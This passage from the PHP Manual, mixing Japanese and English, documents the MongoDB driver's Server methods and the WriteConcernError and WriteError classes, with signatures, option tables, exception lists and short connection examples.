  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • 書き込みが失敗した場合 (書き込み先の適用に失敗した場合など) に MongoDB\Driver\Exception\BulkWriteException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

変更履歴

バージョン | 説明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\WriteConcern object.
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\InvalidArgumentException is now thrown if bulk does not contain any write operations. Previously, a MongoDB\Driver\Exception\BulkWriteException was thrown.

注意

注意: It is the caller's responsibility to ensure that the server is capable of executing the write operation. For example, executing a write operation on a secondary (excluding its "local" database) will fail.

参考

  • MongoDB\Driver\BulkWrite
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command on this server

  • ≪ MongoDB\Driver\Server::executeBulkWrite
  • MongoDB\Driver\Server::executeQuery ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database command on this server

MongoDB\Driver\Server::executeCommand

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeCommand — Execute a database command on this server

説明

final public MongoDB\Driver\Server::executeCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor

Executes the command on this server.

This method applies no special logic to the command. Although this method accepts "readConcern" and "writeConcern" options, which will be incorporated into the command document, those options will not default to corresponding values from the MongoDB Connection URI nor will the MongoDB server version be taken into account. Users are therefore encouraged to use specific read and/or write command methods if possible.

注意: The "readPreference" option does not control the server to which the driver issues the operation; it will always be executed on this server object. Instead, it may be used when issuing the operation to a secondary (from a replica set connection, not standalone) or mongos node to ensure that the driver sets the wire protocol accordingly or adds the read preference to the operation, respectively.

パラメータ

db (string)

コマンドを実行するデータベースの名前。

command (MongoDB\Driver\Command)

実行するコマンド。

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

警告

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command, issuing a write command to a secondary).

変更履歴

バージョン | 説明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\ReadPreference object.

注意

注意: It is the caller's responsibility to ensure that the server is capable of executing the write operation. For example, executing a write operation on a secondary (excluding its "local" database) will fail.

参考

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeReadCommand() - Execute a database command that reads on this server
  • MongoDB\Driver\Server::executeReadWriteCommand() - Execute a database command that reads and writes on this server
  • MongoDB\Driver\Server::executeWriteCommand() - Execute a database command that writes on this server
  • MongoDB\Driver\Manager::executeCommand() - Execute a database command

User Contributed Notes

There are no user contributed notes for this page.


Execute a database query on this server

  • ≪ MongoDB\Driver\Server::executeCommand
  • MongoDB\Driver\Server::executeReadCommand ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database query on this server

MongoDB\Driver\Server::executeQuery

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeQuery — Execute a database query on this server

説明

final public MongoDB\Driver\Server::executeQuery ( string $namespace , MongoDB\Driver\Query $query , array $options = array() ) : MongoDB\Driver\Cursor

Executes the query on this server.

注意: The "readPreference" option does not control the server to which the driver issues the operation; it will always be executed on this server object. Instead, it may be used when issuing the operation to a secondary (from a replica set connection, not standalone) or mongos node to ensure that the driver sets the wire protocol accordingly or adds the read preference to the operation, respectively.

パラメータ

namespace (string)

完全修飾形式の名前空間 ("databaseName.collectionName")。

query (MongoDB\Driver\Query)

実行するクエリ。

options

options
Option Type Description
readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid query operators).

変更履歴

バージョン | 説明
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\ReadPreference object.

参考

  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Query
  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Manager::executeQuery() - Execute a database query

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that reads on this server

  • ≪ MongoDB\Driver\Server::executeQuery
  • MongoDB\Driver\Server::executeReadWriteCommand ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database command that reads on this server

MongoDB\Driver\Server::executeReadCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeReadCommand — Execute a database command that reads on this server

説明

final public MongoDB\Driver\Server::executeReadCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor

Executes the command on this server.

This method will apply logic that is specific to commands that read (e.g. » count) and take the MongoDB server version into account. The "readConcern" option will default to the corresponding value from the MongoDB Connection URI.

注意: The "readPreference" option does not control the server to which the driver issues the operation; it will always be executed on this server object. Instead, it may be used when issuing the operation to a secondary (from a replica set connection, not standalone) or mongos node to ensure that the driver sets the wire protocol accordingly or adds the read preference to the operation, respectively.

パラメータ

db (string)

コマンドを実行するデータベースの名前。

command (MongoDB\Driver\Command)

実行するコマンド。

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

警告

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

参考

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server
  • MongoDB\Driver\Server::executeReadWriteCommand() - Execute a database command that reads and writes on this server
  • MongoDB\Driver\Server::executeWriteCommand() - Execute a database command that writes on this server
  • MongoDB\Driver\Manager::executeReadCommand() - Execute a database command that reads

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that reads and writes on this server

  • ≪ MongoDB\Driver\Server::executeReadCommand
  • MongoDB\Driver\Server::executeWriteCommand ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database command that reads and writes on this server

MongoDB\Driver\Server::executeReadWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeReadWriteCommand — Execute a database command that reads and writes on this server

説明

final public MongoDB\Driver\Server::executeReadWriteCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor

Executes the command on this server.

This method will apply logic that is specific to commands that read and write (e.g. » aggregate) and take the MongoDB server version into account. The "readConcern" and "writeConcern" options will default to the corresponding values from the MongoDB Connection URI.

パラメータ

db (string)

コマンドを実行するデータベースの名前。

command (MongoDB\Driver\Command)

実行するコマンド。

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

警告

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

変更履歴

バージョン | 説明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.

注意

注意: It is the caller's responsibility to ensure that the server is capable of executing the write operation. For example, executing a write operation on a secondary (excluding its "local" database) will fail.

参考

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server
  • MongoDB\Driver\Server::executeReadCommand() - Execute a database command that reads on this server
  • MongoDB\Driver\Server::executeWriteCommand() - Execute a database command that writes on this server
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Execute a database command that reads and writes

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that writes on this server

  • ≪ MongoDB\Driver\Server::executeReadWriteCommand
  • MongoDB\Driver\Server::getHost ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database command that writes on this server

MongoDB\Driver\Server::executeWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeWriteCommand — Execute a database command that writes on this server

説明

final public MongoDB\Driver\Server::executeWriteCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor

Executes the command on this server.

This method will apply logic that is specific to commands that write (e.g. » drop) and take the MongoDB server version into account. The "writeConcern" option will default to the corresponding value from the MongoDB Connection URI.

注意: This method is not intended to be used to execute » insert, » update, or » delete commands. Users are encouraged to use MongoDB\Driver\Server::executeBulkWrite() for those commands.

パラメータ

db (string)

コマンドを実行するデータベースの名前。

command (MongoDB\Driver\Command)

実行するコマンド。

options

options
Option Type Description
session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

警告

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

変更履歴

バージョン | 説明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.

注意

注意: It is the caller's responsibility to ensure that the server is capable of executing the write operation. For example, executing a write operation on a secondary (excluding its "local" database) will fail.

参考

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server
  • MongoDB\Driver\Server::executeReadCommand() - Execute a database command that reads on this server
  • MongoDB\Driver\Server::executeReadWriteCommand() - Execute a database command that reads and writes on this server
  • MongoDB\Driver\Manager::executeWriteCommand() - Execute a database command that writes

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of this server

  • ≪ MongoDB\Driver\Server::executeWriteCommand
  • MongoDB\Driver\Server::getInfo ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns the hostname of this server

MongoDB\Driver\Server::getHost

(mongodb >=1.0.0)

MongoDB\Driver\Server::getHost — Returns the hostname of this server

説明

final public MongoDB\Driver\Server::getHost ( ) : string

Returns the hostname of this server.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the hostname of this server.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Server::getHost() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getHost());

?>

上の例の出力は以下となります。

string(9) "localhost"

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of information about this server

  • ≪ MongoDB\Driver\Server::getHost
  • MongoDB\Driver\Server::getLatency ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns an array of information about this server

MongoDB\Driver\Server::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\Server::getInfo — Returns an array of information about this server

説明

final public MongoDB\Driver\Server::getInfo ( ) : array

Returns an array of information about this server.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array of information about this server.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Server::getInfo() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getInfo());

?>

上の例の出力は、 たとえば以下のようになります。

array(8) {
  ["ismaster"]=>
  bool(true)
  ["maxBsonObjectSize"]=>
  int(16777216)
  ["maxMessageSizeBytes"]=>
  int(48000000)
  ["maxWriteBatchSize"]=>
  int(1000)
  ["localTime"]=>
  object(MongoDB\BSON\UTCDateTime)#4 (1) {
    ["milliseconds"]=>
    int(1447276242774)
  }
  ["maxWireVersion"]=>
  int(3)
  ["minWireVersion"]=>
  int(0)
  ["ok"]=>
  float(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the latency of this server

  • ≪ MongoDB\Driver\Server::getInfo
  • MongoDB\Driver\Server::getPort ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns the latency of this server

MongoDB\Driver\Server::getLatency

(mongodb >=1.0.0)

MongoDB\Driver\Server::getLatency — Returns the latency of this server

説明

final public MongoDB\Driver\Server::getLatency ( ) : string

Returns the latency of this server (i.e. the client's measured » round trip time of an ismaster command).

パラメータ

この関数にはパラメータはありません。

返り値

Returns the latency of this server.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Server::getLatency() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getLatency());

?>

上の例の出力は、 たとえば以下のようになります。

int(592)

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server
  • » Server Discovery and Monitoring Specification

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ≪ MongoDB\Driver\Server::getLatency
  • MongoDB\Driver\Server::getTags ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns the port on which this server is listening

MongoDB\Driver\Server::getPort

(mongodb >=1.0.0)

MongoDB\Driver\Server::getPort — Returns the port on which this server is listening

説明

final public MongoDB\Driver\Server::getPort ( ) : int

Returns the port on which this server is listening.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the port on which this server is listening.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Server::getPort() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getPort());

?>

上の例の出力は以下となります。

int(27017)

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of tags describing this server in a replica set

  • ≪ MongoDB\Driver\Server::getPort
  • MongoDB\Driver\Server::getType ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns an array of tags describing this server in a replica set

MongoDB\Driver\Server::getTags

(mongodb >=1.0.0)

MongoDB\Driver\Server::getTags — Returns an array of tags describing this server in a replica set

説明

final public MongoDB\Driver\Server::getTags ( ) : array

Returns an array of » tags used to describe this server in a replica set. The array will contain zero or more string key and value pairs.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array of tags used to describe this server in a replica set.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer denoting the type of this server

  • ≪ MongoDB\Driver\Server::getTags
  • MongoDB\Driver\Server::isArbiter ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns an integer denoting the type of this server

MongoDB\Driver\Server::getType

(mongodb >=1.0.0)

MongoDB\Driver\Server::getType — Returns an integer denoting the type of this server

説明

final public MongoDB\Driver\Server::getType ( ) : int

Returns an int denoting the type of this server. The value will correlate with a MongoDB\Driver\Server constant.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an int denoting the type of this server.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is an arbiter member of a replica set

  • ≪ MongoDB\Driver\Server::getType
  • MongoDB\Driver\Server::isHidden ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is an arbiter member of a replica set

MongoDB\Driver\Server::isArbiter

(mongodb >=1.0.0)

MongoDB\Driver\Server::isArbiter — Checks if this server is an arbiter member of a replica set

説明

final public MongoDB\Driver\Server::isArbiter ( ) : bool

Returns whether this server is an » arbiter member of a replica set.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if this server is an arbiter member of a replica set, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is a hidden member of a replica set

  • ≪ MongoDB\Driver\Server::isArbiter
  • MongoDB\Driver\Server::isPassive ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is a hidden member of a replica set

MongoDB\Driver\Server::isHidden

(mongodb >=1.0.0)

MongoDB\Driver\Server::isHidden — Checks if this server is a hidden member of a replica set

説明

final public MongoDB\Driver\Server::isHidden ( ) : bool

Returns whether this server is a » hidden member of a replica set.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if this server is a hidden member of a replica set, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is a passive member of a replica set

  • ≪ MongoDB\Driver\Server::isHidden
  • MongoDB\Driver\Server::isPrimary ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is a passive member of a replica set

MongoDB\Driver\Server::isPassive

(mongodb >=1.0.0)

MongoDB\Driver\Server::isPassive — Checks if this server is a passive member of a replica set

説明

final public MongoDB\Driver\Server::isPassive ( ) : bool

Returns whether this server is a » passive member of a replica set (i.e. its priority is 0).

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if this server is a passive member of a replica set, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is a primary member of a replica set

  • ≪ MongoDB\Driver\Server::isPassive
  • MongoDB\Driver\Server::isSecondary ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is a primary member of a replica set

MongoDB\Driver\Server::isPrimary

(mongodb >=1.0.0)

MongoDB\Driver\Server::isPrimary — Checks if this server is a primary member of a replica set

説明

final public MongoDB\Driver\Server::isPrimary ( ) : bool

Returns whether this server is a » primary member of a replica set.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if this server is a primary member of a replica set, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is a secondary member of a replica set

  • ≪ MongoDB\Driver\Server::isPrimary
  • MongoDB\Driver\WriteConcernError ≫
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is a secondary member of a replica set

MongoDB\Driver\Server::isSecondary

(mongodb >=1.0.0)

MongoDB\Driver\Server::isSecondary — Checks if this server is a secondary member of a replica set

説明

final public MongoDB\Driver\Server::isSecondary ( ) : bool

Returns whether this server is a » secondary member of a replica set.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if this server is a secondary member of a replica set, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Server::getInfo() - Returns an array of information about this server

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\WriteConcernError class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\WriteConcernError class encapsulates information about a write concern error and may be returned by MongoDB\Driver\WriteResult::getWriteConcernError().

クラス概要

final MongoDB\Driver\WriteConcernError {
/* メソッド */
final public getCode ( ) : int
final public getInfo ( ) : object|null
final public getMessage ( ) : string
}

目次

  • MongoDB\Driver\WriteConcernError::getCode — Returns the WriteConcernError's error code
  • MongoDB\Driver\WriteConcernError::getInfo — Returns metadata document for the WriteConcernError
  • MongoDB\Driver\WriteConcernError::getMessage — Returns the WriteConcernError's error message

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcernError's error code

  • ≪ MongoDB\Driver\WriteConcernError
  • MongoDB\Driver\WriteConcernError::getInfo ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Returns the WriteConcernError's error code

MongoDB\Driver\WriteConcernError::getCode

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getCode — Returns the WriteConcernError's error code

説明

final public MongoDB\Driver\WriteConcernError::getCode ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the WriteConcernError's error code.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteConcernError::getCode() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
    $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteConcernError()->getCode());
}

?>

上の例の出力は、 たとえば以下のようになります。

int(64)

参考

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns metadata document for the WriteConcernError

  • ≪ MongoDB\Driver\WriteConcernError::getCode
  • MongoDB\Driver\WriteConcernError::getMessage ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Returns metadata document for the WriteConcernError

MongoDB\Driver\WriteConcernError::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getInfo — Returns metadata document for the WriteConcernError

説明

final public MongoDB\Driver\WriteConcernError::getInfo ( ) : object|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the metadata document for the WriteConcernError, or null if no metadata is available.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteConcernError::getInfo() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
    $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteConcernError()->getInfo());
}

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#1 (1) {
  ["wtimeout"]=>
  bool(true)
}

参考

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcernError's error message

  • ≪ MongoDB\Driver\WriteConcernError::getInfo
  • MongoDB\Driver\WriteError ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Returns the WriteConcernError's error message

MongoDB\Driver\WriteConcernError::getMessage

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getMessage — Returns the WriteConcernError's error message

説明

final public MongoDB\Driver\WriteConcernError::getMessage ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the WriteConcernError's error message.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteConcernError::getMessage() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
    $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteConcernError()->getMessage());
}

?>

上の例の出力は、 たとえば以下のようになります。

string(33) "waiting for replication timed out"

参考

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\WriteError class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\WriteError class encapsulates information about a write error and may be returned as an array element from MongoDB\Driver\WriteResult::getWriteErrors().

クラス概要

final MongoDB\Driver\WriteError {
/* メソッド */
final public getCode ( ) : int
final public getIndex ( ) : int
final public getInfo ( ) : object|null
final public getMessage ( ) : string
}

目次

  • MongoDB\Driver\WriteError::getCode — Returns the WriteError's error code
  • MongoDB\Driver\WriteError::getIndex — Returns the index of the write operation corresponding to this WriteError
  • MongoDB\Driver\WriteError::getInfo — Returns metadata document for the WriteError
  • MongoDB\Driver\WriteError::getMessage — Returns the WriteError's error message

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteError's error code

  • ≪ MongoDB\Driver\WriteError
  • MongoDB\Driver\WriteError::getIndex ≫
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Returns the WriteError's error code

MongoDB\Driver\WriteError::getCode

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getCode — Returns the WriteError's error code

説明

final public MongoDB\Driver\WriteError::getCode ( ) : int

パラメータ

この関数にはパラメータはありません。

